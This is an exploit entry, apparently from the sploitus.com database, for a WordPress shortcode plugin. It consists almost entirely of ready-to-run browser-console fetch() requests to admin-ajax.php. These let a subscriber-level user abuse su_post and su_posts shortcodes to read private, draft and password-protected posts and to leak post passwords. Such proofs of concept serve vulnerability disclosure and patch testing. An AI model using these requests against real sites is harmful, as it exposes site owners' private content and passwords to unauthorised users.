Share
## https://sploitus.com/exploit?id=WPEX-ID:8A466F15-F112-4527-8B02-4544A8032671
Run one of the below command in the developer console of the web browser while being on the blog as a subscriber

Via su_post shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='the_content' post_id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the post with ID 14 (such as a draft/private/password protected one)

To leak the password of a protected post:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='post_password' post_id='20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


Via su_posts shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='private']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display all private posts and their content (pwd protected content won't be displayed here though)

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='any' id='14,20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the posts with id 14 and 20 along with their and their content (pwd protected content won't be displayed)